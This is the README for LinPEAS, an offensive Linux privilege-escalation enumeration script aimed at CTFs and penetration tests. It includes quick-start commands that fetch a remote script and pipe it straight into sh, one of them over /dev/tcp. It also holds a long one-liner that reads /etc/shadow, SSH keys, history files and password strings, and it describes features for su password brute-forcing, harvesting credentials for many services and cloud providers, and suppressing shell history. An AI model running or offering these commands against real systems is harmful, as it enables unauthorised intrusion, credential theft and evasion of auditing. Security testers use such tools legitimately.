PEASS-ng/linPEAS

LinPEAS - Linux Privilege Escalation Awesome Script

LinPEAS is a script that searh for possible paths to escalate privileges on Linux/Unix* hosts. The checks are explained on book.hacktricks.xyz

Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz.

Quick Start

#From github
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

#Local network
python -m SimpleHTTPServer 80
curl 10.10.10.10/linpeas.sh | sh

#Without curl
nc -q 5 -lvnp 80 < linpeas.sh
cat < /dev/tcp/10.10.10.10/80 | sh

IMPORTANT CHANGE

For satisfying most users and thanks to the incorporation of the 2000pwds/user su bruteforce, the default behaviour of linpeas has been changed to fast/stealth (no writting to disk, no 1min processes check, and no su BF).

Use the parameter -a to execute all these checks.

Basic Information

The goal of this script is to search for possible Privilege Escalation Paths (tested in Debian, CentOS, FreeBSD and OpenBSD).

This script doesn't have any dependency.

It uses /bin/sh sintax, so can run in anything supporting sh (and the binaries and parameters used).

By default, linpeas won't write anything to disk and won't try to login as any other user using su.

By default linpeas takes around 1 min to complete, but It could take from 3 to 4 minutes to execute all the checks using -a parameter (Recommended option for CTFs):

• Less than 1 min to make almost all the checks
• Almost 1 min to search for possible passwords inside all the accesible files of the system
• 20s/user bruteforce with top2000 passwords (need -a) - Notice that this check is super noisy
• 1 min to monitor the processes in order to find very frequent cron jobs (need -a) - Notice that this check will need to write some info inside a file that will be deleted

Other parameters:

• -a (all checks) - This will execute also the check of processes during 1 min, and brute-force each user using su with the top2000 passwords.
• -s (superfast & stealth) - This will bypass some time consuming checks - Stealth mode (Nothing will be written to disk)

This script has several lists included inside of it to be able to color the results in order to highlight PE vector.

LinPEAS also exports a new PATH variable if common folders aren't present in the original PATH variable. It also exports and unset some environmental variables so no command executed during the session will be saved in the history file (you can avoid this actions using the parameter -n).

Hosts Discovery and Port Scanning

With LinPEAS you can also discover hosts automatically using fping, ping and/or nc, and scan ports using nc.

LinPEAS will automatically search for this binaries in $PATH and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.

Colors

Details

LinPEAS uses colors to indicate where does each section begin. But it also uses them the identify potencial misconfigurations.

The Red/Yellow color is used for identifing configurations that lead to PE (99% sure).

The Red color is used for identifing suspicious configurations that could lead to PE:

• Possible exploitable kernel versions
• Vulnerable sudo versions
• Identify processes running as root
• Not mounted devices
• Dangerous fstab permissions
• Writable files in interesting directories
• SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version)
• SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/)
• Check /etc/doas.conf
• 127.0.0.1 in netstat
• Known files that could contain passwords
• Capabilities in interesting binaries
• Interesting capabilities of a binary
• Writable folders and wilcards inside info about cron jobs
• Writables folders in PATH
• Groups that could lead to root
• Files that could contains passwords
• Suspicious cronjobs

The Green color is used for:

• Common processes run by root
• Common not interesting devices to mount
• Not dangerous fstab permissions
• SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version)
• Common .sh files in path
• Common names of users executing processes
• Common cronjobs

The Blue color is used for:

• Users without shell
• Mounted devices

The Light Cyan color is used for:

• Users with shell

The Light Magenta color is used for:

• Current username

One liner

Here you have an old linpe version script in one line, just copy and paste it;)

The color filtering is not available in the one-liner (the lists are too big)

This one-liner is deprecated (I am not going to update it more), but it could be useful in some cases so it will remain here:

The default file where all the data is recorded is: /tmp/linPE (you can change it at the beginning of the script)

file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find  /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup  2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l;

What does linpeas look for

Details

• System Information

  • SO & kernel version
  • Sudo version
  • PATH
  • Date
  • System stats
  • Environment vars
  • SElinux
  • Printers
  • Dmesg (signature verifications)
  • Container?

• Devices

  • sd* in /dev
  • Unmounted filesystems

• Available Software

  • Useful software
  • Installed compilers

• Processes & Cron & Services

  • Cleaned processes
  • Binary processes permissions
  • Different processes executed during 1 min
  • Cron jobs
  • Services

• Network Information

  • Hostname, hosts & dns
  • Content of /etc/inetd.conf
  • Networks and neighbours
  • Iptables rules
  • Active ports
  • Sniff permissions (tcpdump)

• Users Information

  • Info about current user
  • PGP keys
  • sudo -l without password
  • doas config file
  • Pkexec policy
  • Try to login using su as other users (using as passwords: null pass, username, reverse username, and top2000pwds)
  • List of superusers
  • List of users with console
  • Login info
  • List of all users
  • Clipboard and highlighted text
  • Password policy

• Software Information

  • MySQl (Version, user being configured, loging as "root:root","root:toor","root:", user hashes extraction via DB and file, possible backup user configured, credentials in config, cmd exec library)
  • PostgreSQL (Version, try login in "template0" and "template1" as: "postgres:", "psql:", file DBs, Config)
  • Apache (Version)
  • PHP cookies
  • Wordpress (Database credentials)
  • Tomcat (Credentials)
  • Mongo (Version, Credentials)
  • Supervisor (Credentials)
  • Cesi (Credentials)
  • Rsyncd (Credentials)
  • Hostapd (Credentials)
  • Wifi (Credentials)
  • Anaconda-ks (Credentials)
  • VNC (Credentials)
  • LDAP database (Credentials)
  • Open VPN files (Credentials)
  • SSH (private keys, known_hosts, authorized_hosts, authorized_keys, main config parameters in sshd_config, certificates, agents)
  • PAM-SSH (Unexpected "auth" values)
  • Cloud Credentials (credenals-AWS-, credentials.gb-GC-, legacy_credentials-GC-, access_tokens.db-GC-, accessTokens.json-Azure-, azureProfile.json-Azure-)
  • NFS (privilege escalation misconfiguration)
  • Kerberos (configuration & tickets in /tmp)
  • Kibana (credentials)
  • Logstash (Username and possible code execution)
  • Elasticseach (Config info and Version via port 9200)
  • Vault-ssh (Config values, secrets list and .vault-token files)
  • screen and tmux sessions
  • Couchdb
  • Redis
  • Dovecot

• Generic Interesting Files

  • SUID & SGID files
  • Capabilities
  • .sh scripts in PATH
  • scripts in /etc/profile.d
  • Hashes (passwd, shadow & master.passwd)
  • Try to read root dir
  • Files owned by root inside /home
  • List of readable files belonging to root and not world readable
  • Root files inside a folder owned by the current user
  • Reduced list of files inside my home and /home
  • Mail applications
  • Mails
  • Backup files
  • DB files
  • Web files
  • Files that can contain passwords (and search for passwords inside *_history files)
  • List of all hidden files
  • List ALL writable files for current user (global, user and groups)
  • Inside /tmp, /var/tmp and /var/backups
  • Password ins config PHP files
  • Get IPs, passwords and emails from logs
  • password or credential files in home
  • "pwd" and "passw" inside files (and get most probable lines)

Do not fork it!!

If you want to add something and have any cool idea related to this project, please let me know it using github issues and we will update the master version.

Please, if this tool has been useful for you consider to donate

Looking for a useful Privilege Escalation Course?

Contact me and ask about the Privilege Escalation Course I am preparing for attackers and defenders (100% technical).

TODO

• Add more checks
• Mantain updated the list of vulnerable SUID binaries
• Mantain updated all the blacklists used to color the output
• Support for MacOS

If you want to help with any of this, you can do it using github issues or you can submit a pull request.

If you find any issue, please report it using github issues.

Linpeas is being updated every time I find something that could be useful to escalate privileges.

License

MIT License

By Polop^(TM)